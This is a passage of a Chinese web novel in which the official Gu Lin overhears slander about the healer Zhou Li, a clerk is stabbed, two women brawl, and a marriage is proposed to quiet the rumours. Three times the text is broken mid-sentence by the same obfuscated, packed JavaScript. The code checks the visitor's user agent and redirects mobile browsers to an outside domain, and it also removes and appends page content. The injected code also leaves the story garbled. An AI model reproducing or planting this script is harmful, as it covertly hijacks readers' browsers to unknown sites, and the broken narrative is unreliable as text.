那时候的顾临落魄潦倒，几个月的牢狱折磨，身体也很不好，他十分不忍，极力劝顾临辞官算了，一个不入流的典史有什么好留恋，哪里能想到才几年时间，又是天翻地覆的变化。 这会已是正午，陈冕拉了顾临几个到西大门街的望月酒楼吃饭。这酒楼生意红火，包厢早已经被预定，陈冕一行人就在二楼临窗拣了两张桌子，陈冕、顾临二人一桌，程顺、马齐、平安和陈冕的随从陈前紧挨着在旁边一桌，离得远些还有两桌，已是吃了一阵子了。 陈冕熟络地点完菜后，总算略微平复了下激动的心情，这才指着顾临的脖子问道：“你脖子怎么伤了？”他早就注意到了，那伤明显是新添的，大概痂才脱落，显出淡淡的粉色。 顾临只道：“一点小伤，不碍事。” 陈勉指着斜下方一家铺子，对着旁边喊道：“陈前，去对面仁安堂买个丹参羊脂膏，那个祛疤好。” 顾临朝那牌匾看过去，料想说的就是周梨给的那个药膏，笑道：“已经抹过那个药了，要不也不会好得这么快了。” “嘿，还挺快，你来这几日了？怎么突然就到这里来了？”陈冕这话一问出口，突然开了窍，望了望四周小心凑过去道，“你小子不会就是新来的抚按吧？” 顾临觉着这情境有点熟悉，又笑着点了点头。陈冕大笑叫好，又狠狠拍了顾临肩膀几下：“真没想到啊！” 顾临问道：“你最近如何？同嫂夫人可好？” 陈冕长他两岁，二人自幼在京城一起长大，后来各自回乡后也一直书信往来，十年前他还来这里庆贺陈冕成婚，新娘子知书达理，温柔贤淑，两人甚是恩爱美满，只是这么多年一直没有子嗣。 “就那样吧，她总那般识大体，前几年帮着母亲张罗着又给我娶了房妾，我不喜欢，近来我又添了个外室，她知道了也没说什么。”陈冕叹了口气，转而问顾临，“你怎么婚姻大事还不解决？” 顾临垂眸苦笑：“你不知道我“克妻”名声在外吗？” 陈冕闻言又无奈叹了口气，这时店小二上了菜来，菜还没摆好，又上来一桌客人唤他点菜，是三个头戴方巾的儒生，两个年轻些的，大约二十多岁，一个年长些的看着快四十了，几人坐下点了些吃食便闲聊起来。 穿湖色衣服的年轻儒生道：“今日教谕他们是迎新任抚按大人去了吗？抚按到了？” 另一个胖一些的年轻儒生道：“吴兄你消息也忒不灵通，抚按大人都来几日了，今日才有空见府学的人罢了！”原来几人是府学的生员。 “惭愧惭愧！”那吴生员作了个揖，“那二位可知这位大人何许人也？” 年长的李生员道：“说起来倒是我惭愧了，这位新来的大人听说年轻得很，尚且不到而立之年。” 吴生员惊讶道：“什么来历？怎么这么年轻就身居高位？” “听说是从广东按察副使任上来的，在那边颇有政绩，迁督察院左佥都御史抚按永安。”王生员小声道，“只是咱们这恐怕复杂得多，不知道这位大人能不能胜任了。” 陈冕正招呼着顾临吃菜，听几人如此议论，朝顾临挑了挑眉，顾临笑笑继续慢条斯理的吃饭。 李生员也一副忧心忡忡的样子：“前几日抓的那几个山匪，审出来是幽州来的，这几日不光咱永州遭劫，隔壁南康、湖广桂东还有广东乐昌都有匪乱，这不明摆着做给新来的大人看的嘛！” 王生员接着道：“这些山匪最可恨的是，开始惑乱人心，对外宣称他们是反抗朝廷苛捐杂税的正义之举，不会伤害百姓，这次他们绑了乐昌的知县，劫了县仓和银库，煽动了许多百姓投匪。” 吴生员恍然大悟：“难怪听说这次四会那边也没有劫掠女子，只是富户损失的钱粮比较多。” “也劫了啊！你又不知道吗？就是仁安堂的那个女医师。”王生员压低了些声音，“不过第二天人就找回来了。” 但尽管声小了些，有心听的还是都听得到，他们邻桌平安就竖着耳朵，把每个字都听进去了，他转头看程顺和马齐还有陈前，几人也不动声色地在听。他们后面上来的两桌客人，明显也被这话题吸引了。 吴生员道：“还有这事？怎么找回来的？那女子没事吧？” “怎么找到的就不清楚了，只是一个年轻漂亮的女子被山匪抓走那么久，能没有事吗？”王生员一脸意味深长，“刚路过仁安堂我还特意看了看，没见着她。” 顾临皱了皱眉，看了几人一眼，年长的李生员急不可耐地道：“你们还没听说吧？前天卫所里闹翻了天，就是因为她！” 王生员忙道：“怎么说？” “人是卫所秦指挥带人找回来的，他夫人知道了跑去卫所大闹了一场，绑了几个跟去的士兵，逼问出了经过。”李生员顿了顿，一脸坏笑，“听说场面十分精彩。” “卫所把人找回来了不是好事吗？那位夫人闹什么？”吴生员奇道。李生员抹了抹胡子：“这就说来话长了。” “别卖关子了，快点说！”王生员的好奇心起，二楼的其他客人也都被吸引了注意力。 “这件事当年闹得沸沸扬扬，卫所上下应该都知道。我家舅爷也是卫所里的，所以略知一二。”李生员喝了口茶，问道，“你们可知道永州卫指挥佥事秦皓？” 吴生员这回倒点了点头：“有所耳闻。” 王生员也道：“听闻他伯父是江西都指挥使，他本来只是永州卫一名总旗，五年前山匪攻打南康、永州，永县主簿战死，倒是他杀匪无数，凭军功升了千户，又被永州卫指挥使冯仑看中，将女儿嫁了他，短短几年，已是正四品指挥佥事了。” 李生员笑着道：“说到正题了，他本来想娶的就是被掳的这个女医师，但都指挥使和冯指挥使把婚事定了，不由得他不从，最后还是娶了冯家小姐。” “那女的出身本来也够不上做他正室吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16047235|179001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？”王生员问道，“娶来做妾不就两全其美了？” 李生员答道：“秦家子侄众多，秦指挥幼年丧父，本来也不被他伯父看重，只在卫所混了一个小小总旗，女医师嫁他也不算太高攀。只是一下有了军功，身价便高了，冯指挥使怕事情闹得太难看，主动提了让秦指挥两个一起娶进门，他女儿坐得正房就行，但那位冯大小姐也就是如今的秦夫人无论如何不允，女医师至今也未嫁。所以秦夫人知道人是秦指挥救回来的，可不就闹起来了！。” “先生说这么多，人到底是怎么救回来的？”后面桌一人发起问来，旁边桌也有人跟着道：“我是听到一些传闻，但都不如先生知道得仔细，比话本子还好听呢！” “这事都好几日了，早已传得沸沸扬扬，你们竟然都不晓得。”李生员有些得意，慢条斯理喝了口茶继续道，“那几个士兵被逼得没法，只得交代是在长洛巡检司旁的山上找到人的，荒郊野地的，她衣不蔽体地跟一个男子搂在一起，你说在做什么？秦指挥当即拔刀架在那人脖子上，险些就直接杀了！” 此话一出，一片哗然，仿佛听书听到意想不到的精彩处那般畅快，七嘴八舌“然后怎么了？”，“那人是不是山匪？”，“就该一刀杀了痛快！”…… 平安这才知道顾临的伤怎么来的，正要站起来去反驳，程顺一把按住，对他摇了摇头。 顾临眉头紧缩，目光凌厉，他实在没想到，一时情急之举会被传得这样不堪。陈冕则狐疑地又看了眼顾临的脖子，陷入沉思。 “然后女医师竟然挡在那男子面前，不让秦指挥动刀，求了几声，秦指挥便乖乖收了刀，命人护送女医师和那男子回去了，还命令底下人不得透露半个字。”李生员笑了笑，“要不是秦夫人闹，还都替她遮掩着呢。” “那男子不是山匪吗？为什么护着他？”吴生员又不解地发问。 有人道：“她真是被山匪掳走的吗？不会就是跟男人出去鬼混的吧？” 又一人接道：“一个未出阁的女子，整日抛头露面，勾三搭四，还和秦楼楚馆的妓子们来往，能是什么好人，说不定真让山匪背了锅呢！” “你们这么说就过分了吧！周大夫好好一姑娘家，遭了这横祸，你们道听途说的，就这么污人清白不好吧？”一时间二楼吵闹了起来，本来没仔细听的，也好奇再问说的哪家姑娘。 顾临见这情形，神情愈发冷峻，陈冕小声问道：“怎么回事？”话才刚落，楼下街口一片喧哗声传来。 二人朝窗口望去，路边行人、摊贩纷纷都忘东边不远一个巷口围过去，人语声轰轰隆隆，倒是听不清在说什么，只见一人穿过人群向西跑过来，嘴里喊着“杀人啦杀人啦！”，一路跑进了仁安堂。酒楼的人终于打住了刚刚的话题，纷纷往窗边一探究竟。 顾临听得真切，与陈冕对望了一眼，立马对旁边平安几人道：“走，去看看！”刚站起身，已看见那人引着一个老者出了仁安堂，疾步向那巷口走去，后面跟着周梨背着个药箱，一路小跑着，能看出腿还不甚利索。 8. 争执 周梨这几日一直在暗中观察着李掌柜，除了回来头一日，他对周梨表达了应该的关心问候和歉意，倒着实没有什么异常。 她也不动声色地问了师父，那日到底是谁邀他去喝酒的，陈锡山说当然是陆管事，二人认识十几年，陆管事查账日期虽不太固定，可但凡来查账，总有大半时候要跟师父去喝酒的，李掌柜虽来这没几年，通常也是一起去的，事情似乎又都非常合乎情理。 今日李掌柜不在，她缺少了观察对象，又因为冯珂大闹卫所，她名声正盛，没几个人愿意让她诊病，正无所事事反思自己是不是疑心太重时，突然有人跑进来喊有人被杀了，让陈锡山去看看还有没有救，她跟着挤进人群围住的巷子里，看到躺在血泊里那人，不禁又满腹疑云。 陈锡山看人还没死，便让周梨拿裹伤布，和他一起将那人中刀的腰腹部绑紧，准备带回仁安堂救治。 这时程顺和马齐分开众人将顾临让进来，周梨抬眼看到他走近，惊讶之下只微微朝他点了点头，顾临也点点头，望了望四周，这巷子是个死胡同，脚下这地方虽然离巷口不远，却已是转了两个弯，西门大街虽然来往都是人，大抵都注意不到这里，他才蹲身查看，身旁的马齐已认出那人，小声向他道：“是孟宽！” 他们巡抚衙门的老书吏。 顾临问道：“周姑娘，他怎么样？” “还活着，不过伤了有一会了，失血过多，能不能救回来得问问我师父。”周梨已将伤裹好，看了眼顾临又转向旁边的陈锡山。 陈锡山一双眼看了二人许久，突然站起身锤了锤腰道：“首先要能抬回去。” 顾临会意，吩咐道：“程顺、马齐帮忙。”陈冕见状先告了辞，本来他才刚从外地回来，还有些事要处理，顾临约他晚间务必来府上，又要事相商，而后留下平安混迹在人群中打探情况，一行人快步走进了仁安堂，后面跟着一群看热闹的人，都被仁安堂的伙计挡在了门外。 陈锡山待人抬进了仁后院的厢房，便把闲杂人等又都赶了出来，只唤了一个打杂的伙计进去帮忙，周梨因为是女子，不方便处理那个位置的伤口，也被挡在了门外，见顾临暂时没有要走的意思，便将几人引到旁边厢房等候，程顺、马齐一左一右站在了门外，只有顾临入内坐了。 周梨给他倒了杯茶，看了看他脖子寒暄道：“大人的伤可都好了？” “不碍事了，还多谢姑娘的药膏。”顾临见她神色从容，大概对酒楼传的流言还不知晓，便也不好主动提及，只端起茶杯喝了口茶。 周梨见无事，正准备退下去，顾临却问道：“孟书吏今日可是来过仁安堂？”刚在巷口，孟宽倒下的不远处，散落了不少药材。 “大约一个时辰前来的，他有哮症，常来我们这抓药。这几日哮症又发作，几乎每日都来。” 顾临疑道：“为何每日都来？哮症要针灸吗？” 周梨摇头：“一般哮症来得急、喘得厉害的人才用针灸缓解下咳嗽。孟书吏并不很严重，只是秋日转凉，哮症有些反复，往常服几剂定喘汤便能好，这次总说没用，换了几次方子了。今日又来，师父又给他方子调了调，还特意嘱咐，务必服两日之后再看可有好转。” 她今日一见孟宽便觉得奇怪，便多观察了他一下，却见他心事重重，不时咳嗽得有些刻意，又不经意间透露出在找什么等什么的神态。当然这些没有根据的事情，她也就没打算告诉顾临。 这时平安匆忙走了进来，没避开她直接禀道：“大人，问了一圈没人看到杀人凶手，县衙也来了人在查办了，那条巷子本就少有人进，发现孟宽的人，也是憋不住进去小解……”他说到此好似才觉得有姑娘在场，有些不雅，顿了顿继续道，“奇怪的是那个位置就算看不见，也该听得见的。” 周梨道：“孟书吏身上中的几刀都是从背后刺入的，可能凶手当时捂住了他的嘴巴，他没法叫喊。况且他本有哮症，惊恐之中会喘得更加厉害，怕是也喊不大声。” 顾临点头，又问平安：“有人去告知孟书吏的家人了吗？” “张进张捕头已经派人去了。”平安在巷口和张进照了个面，互相寒暄了几句。 周梨看他们还有话说，正准备退下，却见一个伙计忙慌慌找来，在门口探头道：“姑娘，秦夫人又来找您了！” “说我不在！”周梨一惊，只觉头大，忙向顾临行了个礼：“大人，我先告退了。” 说着便向门口走去，准备找个地方躲起来，可踏出门外没几步就被看见。冯珂已闯进后院，一把推开拦在她前面的伙计大喊道：“周梨，你别跑！” 周梨只得站住回头看着怒气冲冲的冯珂，她大概知道冯珂为何而来，这已经不知道是第几次了，他们夫妻二人一吵架，冯珂就总是来找她问罪。这次她闹了卫所，让他们几个都成了笑谈，估摸着夫妻二人又吵架了。 冯珂三两步冲到周梨面前，还没开口，周梨先道：“我没什么话同秦夫人说，请回吧。”说完也不等冯珂反应，转身便走。 冯珂眼疾手快，忙伸手跨步拦住了她的去路：“心虚什么啊？眼看自己就嫁不出去了，非要这般子使手段离间我跟秦皓吗？自己不好就看不得别人好吗？还是想秦皓能再来娶你？” 周梨耐着性子听完，竟然觉得没一个字能听得懂，只挥开冯珂的手，边往前走边道：“你多虑了，我对你夫君没有一丝一毫的想法。” “我不会再相信你一句话，你从前答应过我不会再见秦皓，不会再跟他有任何瓜葛，现在又在做什么？”冯珂一把扯住周梨，不让她离开。 周梨没好气道：“我做了什么？我就那日碰巧遇到了他而已。” “就是又遇到了，这么多年都没嫁出去，又有新的打算了吗？好大一口锅就扣到秦皓头上啊！就想让他愧疚再娶你不是吗？” 冯珂力气很大，周梨一时之间挣脱不开，听她如此说，总算有些眉目，不禁问道：“什么锅？”她走了半天才离刚才的房间不过三四十步的距离，二人的说话声，门口的程顺、马齐明显听得清楚，本来面对着他们倚门站着，现在已避开，侧身相对而立了。 冯珂正要回答，却见仁安堂的小伙计又领了四五个人走进来，却是张进带了几个捕快，来查刚刚的杀人案。冯珂看到他，火冒三丈，以为他是专门来护着周梨的，讥讽道：“哟，可真消息灵通呢！” 张进看到她有些意外：“你来这里做什么？” 原来前两日他听到有关周梨被掳的事被传得不堪，不禁把账算在秦皓头上，去秦皓家里把他揍了一顿，说他害了周梨一次，还要害第二次，累得一个女子失了名节，让她如何过活？ 冯珂开始是因为秦皓救了周梨，怕他们旧情复燃，问秦皓什么也问不到，才去卫所追问了事情经过，她听到那男子大约是因为猎狗的袭击才去护住周梨，却被秦皓误会差点拔刀杀人，心里很不是滋味，但又听说他二人也就接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16047236|179001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 触那一会，后面再无交集，也就放心了下来。 她才懒得管周梨和那男子的事情，她更没预料的后来这件事会被掐头去尾的，传成现在这个样子。 她原本是有点愧疚的，但是张进来打了秦皓，所有事情都怪上了秦皓，她就不乐意了，更何况秦皓因为这件事情，已经两天不理她了。她越想越气，又不是她把周梨掳走的，也不是她让周梨衣衫不整跟个男人在一起的，更不是她有意如此传周梨闲话的，为什么都怪在她头上呢？ 要是周梨真因为这件事情名声毁了，嫁不出去了，秦皓是不是就又要娶她？ 冯珂越想越觉得这就是周梨一家的打算，那个跟她一起的男子好像消失了一样，如今这种情况哪有人还会娶周梨？ 但是秦皓不一样，这刚好合了他的意，她想到这一层就坐不住了，骑上快马赶到仁安堂，不顾阻拦就冲了进来。 此刻张进问她来做什么，她却突然答不上来。来出气吗？还是来要周梨的保证？她一时间有些迷糊，但气势上绝不能输，当即答道：“你都能去我家里打秦皓，我怎么就不能找她？我们好欺负吗？” 周梨没想到张进去找过秦皓，这几天一家人都仿佛不知道这件事情，原来只是在她面前不动声色罢了，此刻她大概也能想到冯珂说的“锅”是什么意思了。 张进冷笑：“你们当然不好欺负，咱们这些小民在你们眼里算得什么，你们一高兴就可以抢人亲事，一不高兴就可以坏人名声，谁又能拿你们如何？” 周梨见他俩还吵上了，赶紧插道：“哥，你是来办案的吧，别耽搁正事了！”又转头对冯珂道，“秦夫人，我才知道我哥打了秦指挥，我向你道歉。我相信这件事情变成这样定不是你本意，就到此为止罢，我对秦指挥真的没有心存妄想。你先离开吧，我们这里还有事。” 冯珂被戳了痛处，哪肯这样离开，她一把甩开周梨的手，向张进走了两步，气急败坏：“抢谁亲事了？他们何曾定过亲？” “自欺欺人！”张进也不想再与她纠缠，丢下这句话就要走，冯珂更是气极，抬手就扇了过去，清脆的巴掌声响彻后院，门神二人组也不禁循声望过去，里面还在汇报情况的平安也顿了顿。 张进抹了抹嘴角的血渍，那几个捕快才回过神来，却进也不是退也不是，这时冯珂的丫头并秦皓的随从一同来寻冯珂回家，张进深吸了口气继续往前走了，其他捕快也只能当作什么事都没发生跟着走了，毕竟这尊大佛没人敢得罪。 可没走两步又一声巴掌声响起，却是周梨一巴掌甩在了冯珂脸上，冯珂捂着脸，不敢置信，从小到大哪里有人敢动她一根头发丝，还不及思索，身体已自发行动起来，大叫着“你敢打我！”就向周梨扑过去，二人顺势一齐就摔在地上扭打了起来。 张进反应过来想去拉时，那两人已经在地上翻滚了几圈，互扯着衣裳头发，难分难解，毕竟都是女子，他虽急却无从下手，试图拉了几次，都被挡了出来，只能摁住那个想去帮助主子的丫头，正束手无策之时，听到一声怒喝：“够了，还要胡闹到什么时候！” 周梨这会正占着上风，压在冯珂身上摁着她双手，尽力避开她乱踹的双脚，二人闻声都停了动作，周梨回头见师父站在廊上，大约已处理好孟宽的伤，正怒气冲冲地看着她们。 离他几步远的地方站着顾临，不知道什么时候走出的房间，也在静静地望着她，她心底突然涌出一股不自在，难以名状。 9. 代价 陈锡山是秦皓的表舅，冯珂被他喝了一声后清醒过来，也着实觉得丢人现眼，不好在长辈面前继续放肆，趁势一把推开周梨，她的丫头挣开张进跑过去把她扶起来，敲敲在她耳边说了些什么，冯珂便愤愤不平地走了，临走前恶狠狠地瞪了周梨一眼，又在她头上记了一笔。 周梨也爬起来拍了拍衣裳，大约刚刚打得有些激烈，本来受伤的脚就没好全，这一闹又痛得厉害起来，但她也顾不上，只笑嘻嘻地瘸着腿跑到师父面前：“谢谢师父！人救活了？” “姑娘家家的像个什么样子！”陈锡山看她头发散乱，脖颈处还有几道抓痕，没好气道，“快去收拾收拾再抓幅七厘散来煎。” 周梨笑着点头应是，便又一瘸一拐跑去抓药了，跟没事人似的，平安瞧她没有一丝难为情，有些不可思议。 马齐这时上前问道：“大夫，孟书吏醒了吗？”陈锡山摇头：“一口气吊着呢，能不能醒过来看天意吧。” 张进竟才看清顾临几人，刚刚碰见平安，他只说自己无事路过，没想到顾临也在这，疑惑地上前见了礼，正想问他是不是来找周梨，却听见有哭咽声渐行渐近，转头望去，两名捕快引着一个老妇人进了后院来，应是孟宽的家人，张进也就顾不上问，跟着一起进去看孟宽伤势，人仍然昏迷着，但老妇人本已做了最坏的打算，如今看到人还在，倒还有些庆幸。 张进等她镇定些后，便例行询问起孟宽近日有无与人生仇怨等事宜。 顾临见暂时无事，县衙也在按部就班办案，便打算先回府衙，不料却被陈锡山叫住，又被请进了刚刚的房间里，与陈锡山对坐，平安立在他身后，程顺、马齐依然守在了门外。 陈锡山笑眯眯地上下左右打量了顾临一番，忽而抬手指了指顾临的脖子：“我没猜错的话，那日是公子救的阿梨吧？我代阿梨多谢公子了。” 顾临礼貌道：“不敢当。” “公子是路过此地，还是打算在此长居？” “大约要待上几年。” “那公子不曾带妻妾同行吗？”陈锡山瞧着他这个年纪的富贵公子有几房妻妾再正常不过。 顾临觉得问得奇怪，只摇了摇头。 陈锡山觉得自己切入了话题，敛了敛笑容，正色道：“我听阿梨细说了那日之事，知公子人品贵重，但这两日市井流言把阿梨与你的事传得不堪，公子大概也有所耳闻，我正为她发愁，可今日一见公子，倒觉得这事有法子可解。” “还要请教先生。”顾临才确信刚刚在酒楼，他不是偶然听到这传闻，原来真的早已传遍了，周梨大概也是装作不在意，他当然知道一个女儿家的名节有多重要，如果能做些什么，他自然愿意。 “这流言蜚语最是难为人，其实秦皓前日已为此事找过我，他很着急想帮阿梨解释，却又不知道跟谁去解释，总不能站大街上逢人便去说事情的由来，就算说清楚了，也必定有人会说你和阿梨就是有肌肤之亲，阿梨也是难脱清白，我为这事也十分苦恼，但刚刚却豁然开朗，只要公子娶了阿梨，这场风波可不就变成了佳话，公子品貌非凡，跟阿梨也是十分般配……” “先生请慎言！”不等陈锡山说完，平安已按捺不住，他觉得这些话简直是让他家大人难堪。 顾临回头瞪了他一眼，他才咬唇低下了头，把想说的话都吞了下去，转而腹诽这样粗鄙又与有妇之夫牵扯不清的女人，哪里配得上他家大人分毫。 但门外的周梨完全能听到他的腹诽，她整理好把药拿到厨房煎上，抬眼便从窗户里看到师父把顾临叫住进了屋。 她本没在意，继续给炉子扇火，可扇着扇着突然一激灵，好像意识到了师父要做什么，不放心便放下扇子，向这屋走过来。 刚走到门口就听到师父让人娶她，程顺、马齐震惊地对望了一眼，又一同诧异地望向她，她心里叹了口气，师父果然总是能做出这种匪夷所思的事情，正准备去阻止，就听到了平安的话，虽然很克制，但她都听懂了。 她不在意众口铄金，不在意别人如何看她，可此刻竟觉得伤了她早已不知躺在哪儿的自尊傲骨。 “慎言什么？男大当婚，女大当嫁，没什么不好意思的。不如就由老夫做媒，我们快些把日子定了。”在陈锡山看来，虽然这位公子通身气派必定非富即贵，但只让他多纳个美妾有什么不愿的，要不是怕阿梨误了终身，谁要给他做妾，这分明是他赚了的。 顾临觉得这谈话的进展似乎太快了些，还不及回答，周梨已自顾自走了进来，轻声对陈锡山道：“师父，外间有许多病人等您看诊呢，您快去看看吧！” “等会儿，我有正事呢！你先去瞧着。”陈锡山不想周梨会来，看她面无表情盯着自己，竟有些心虚。 “看病才是您的正事。”周梨执拗地站在陈锡山面前不动分毫，僵持了一会，陈锡山见没法谈下去了，只好站起来背过身甩袖道：“好，好，我不管啦！”但只站在那里，没有要走的意思。 周梨无奈转向顾临：“公子，我师父是关心则乱，冒犯了。我有自知之明，不敢存非分之想，望公子不要怪罪。”说完便要去拉陈锡山离开。 “周姑娘，”顾临却叫住她，站起身来与她对立，“如果事情无法可解，我愿意娶你。但这是下策，你没有做错事情，不该为此付出终身的代价。” 周梨意外地抬起头，面前之人眼眸澄澈而真挚，却仿佛能洞穿人心，能知她所想，解她所难，让她一时之间竟有些着慌，又低下头来：“公子说的对，我根本不在乎这件事被传成什么样子，我问心无愧，所以公子也不必在意此事，为自己揽责。” 说完便拽着陈锡山出了房门朝厨房走，一路上陈锡山还在嘀咕：“你没听见吗？他愿意娶你，趁热打铁把日子定了啊！” 周梨只死命拽着他：“您再这样等师娘回来，我要告诉她……”后面的声音便渐渐听不清了。 顾临垂眸一笑，也踏出房门朝外走，跟在后面的平安却停下来小声问程顺：“她一直在外面偷听吗？” 马齐摇头叹气先一步跟上顾临，程顺只说：“你少说点话吧。”也跟了上去，只留平安忧心忡忡地在后面追着。 秋日里白天越来越短了，往常张家吃晚饭时天还亮着，今日还未开饭天已经快黑了，周梨被郑氏和秀珍拉着问了好半天有关“西大街有人被杀了”的传闻，在一阵后怕声中点亮厅堂里的烛火，便听见可儿、羽儿在院门口笑着喊“爹回来啦！”。 周梨忙走进厨房帮忙端菜、盛饭，郑氏边唤边去牵两个孙儿回屋吃饭。不一会一家人便整整齐齐坐在了饭桌前，周梨与郑氏对坐，张进和秀珍也分别带着可儿和羽儿相对而坐。 羽儿的筷子还使得不利索，要秀珍时不时喂他一口，可儿已经乖巧地夹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16047237|179001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一块肉放在了张进的碗里：“阿爹辛苦了，多吃点肉有力气！” 张进一时觉得无比贴心，哪还有一丝辛苦，向可儿笑道：“好，可儿也多吃点肉会长高高。”可儿也笑了起来，桌上其他人也都跟着笑了。 可儿却突然顿住：“阿爹，你脸怎么了？好像肿了呢！” 秀珍闻言就着烛火仔细看了眼张进，果然见他左脸有些红肿，几个指印若隐若现，嘴角还有点淤青，忙放下碗筷问道：“谁打的？” 郑氏也看见了：“遇上什么事了？” “没事，办差时候弄的，一点小伤，你们要没看见都要好了。”张进若无其事地继续吃着饭，下午他忙完，周梨要给他热敷消肿，但他急着回衙门复命，也就没管，也是没想到这么久了还这么明显。 “办什么差，别人敢往你脸上打啊？”秀珍有点不忿，她丈夫好歹是县衙捕头，几个人敢这么明晃晃地扇他巴掌。 “都说了没什么！”张进有些不耐烦。 秀珍委屈地看向郑氏：“娘，你看他总是这样，什么事也懒得多跟我说一句。” “我哪有！”张进也放下了碗。 周梨见状忙道：“嫂子，这事怪我，今天冯珂去找我，刚好哥在，被她打的。” “冯珂为何去找你？”郑氏有些疑惑。 “不怪阿梨，是我前日心里不痛快，去把秦皓揍了一顿。” 大概是大家都不愿意谈这个话题，屋子一时陷入了沉默，郑氏叹了口气，拍了拍不明所以的可儿，让她继续吃饭。 秀珍一肚子气，却不好说出口，一旁的羽儿又嚷嚷着“肉肉，肉肉”，只得强压着怒火继续喂羽儿吃饭。 好不容易一顿饭吃得差不多，只剩羽儿还抱着一碗汤在喝，秀珍和周梨开始收拾餐桌，张进却站起身道：“阿梨，你出来下，我有事问你。” 周梨还未说话，秀珍已将手中的筷子往桌上一拍，再也克制不了：“有什么事不能当着我的面说？这家里就我是外人嘛！” 他们母子俩和周梨像是有什么秘密似的，有什么要紧事总是避着她。周梨的婚事，她不能多说一句，还为此受尽了她娘的冷言冷语。 这几日一出门就有人在她背后指指点点，她怕周梨难过，都装作不知道，问张进怎么办，他从来默不作声，可原来早已经去给周梨出了头，还为此挨了别人的巴掌，她却什么都不知道。 “你又在闹什么啊？”张进却完全不能体会秀珍的心情，只觉得不可理喻。这时候“啪嚓”一声，羽儿的汤碗掉到地上摔碎了，裤子也被汤水湿透了，秀珍气不打一处来，在他屁股上狠狠打了两下，厅堂里瞬间只剩下羽儿嚎啕大哭的声音。 张进听得心烦，大声喝道：“不许哭！” 奈何羽儿哭声更大了，可儿吓得直往郑氏身边躲，郑氏左手揽着她，又伸出右手把羽儿楼到怀里，向张进斥道：“拿孩子出什么气！”又拍着羽儿哄道，“羽儿乖，不哭不哭。” 一旁秀珍看着羽儿哭得上气不接下气，也自责起来，悄悄抹了抹眼角，又向羽儿伸过手去：“来，羽儿，娘抱抱去换衣服。” 羽儿听到召唤，忙不迭钻进秀珍怀里，反倒更委屈了，抽抽噎噎根本停不下来，秀珍抱起他往外走，郑氏拍了拍可儿，可儿也乖巧地跟了上去。 周梨望着母子三人的背影，心里五味杂陈。 10. 盐税 夜里可儿、羽儿都睡了，张进、秀珍和周梨都坐在了郑氏的房里。郑氏指着儿子骂道：“你都多大年纪了，做事还这么冲动，跑去打秦皓，人家要是计较了，把你抓了，你让我们娘几个怎么办？” “儿子知错了。” “秀珍说得也没错，夫妻俩就该有商有量，这日子才能过得长久，你这闷葫芦性子也该改改。” “是。” “娘，我也不对。”秀珍低头小声道。 “能互相体谅就好！”郑氏叹了口气，“还有这件事，我们都憋着不谈，也不是个办法，现在大家都在这，阿梨，我们一起想个法子可好？” 周梨点了点头。 郑氏又问张进：“你先前要问阿梨的，是不是也是这件事情呀？” 张进不知道该不该说，犹豫不决半天也没开口。 周梨大概想到是什么事，先问他道：“是不是我师父跟你说了什么？” “是的，我今天原本看到那位公子就想问来着，等我忙完他已经走了，我就去跟陈大夫打听了下。” 郑氏好奇道：“哪个公子？” “就是那天救了阿梨的公子。” 郑氏跟秀珍对望了一眼，都看见对方眼里的惊讶和欣喜，那不就是跟阿梨传得沸沸扬扬，荒郊野地孤男寡女那个男子嘛！事情似乎有了转机。 郑氏急道：“快说呀，他去仁安堂找阿梨做什么？” 周梨想说人不是专门来找她的，但好像他们并不关注这点，她看得出他们期盼的大概跟师父一样，这流言要是能以姻缘了结，才是最完满的，否则她都要受流言所累。 “陈大夫说那位公子愿意娶阿梨，但是阿梨气呼呼阻止了他和那位公子商议婚事，还把他凶了一顿，所以我想问问阿梨怎么回事。” 郑氏和秀珍早就听张进说过，救阿梨的公子长得好看，气度不凡，这几日被流言蜚语困扰不已之时，确实想过要是这位公子能娶了阿梨，助阿梨脱困也无不可，现在竟然成真了，却又是阿梨不愿。 “儿啊，”郑氏拉了周梨的手，“我知道你心气高，总要拣个十分称心如意的才愿意嫁。但咱也得认命不是，你这些年这样坎坷，如今又遇到这样的事情，你别小看了那些七姑八婆的闲言碎语，怕你日后真的就不好嫁了。就说陆家，原本你出事了，他们还上赶着示好，但这捕风捉影的事情一传，他们也就不再作声了，可想你以后的路有多难走。再说这位公子看来也是有担当的，品行不错，又一表人才，也许真是良缘天成呢！你好好想想？” “他根本不是那个意思，我师父那个人有时候天马行空不着边际的，你们都知道的。”周梨无奈地解释。 “我起初也不信，但陈大夫指天发誓，那位公子真的说了会娶阿梨。”张进补充道。 周梨觉得真解释不清了，只好说：“他真不是那个意思，而且你们不知道他的身份，这件事情真的别提了。我倒是有个想法……” “他什么身份？”郑氏不等周梨说完就来问。 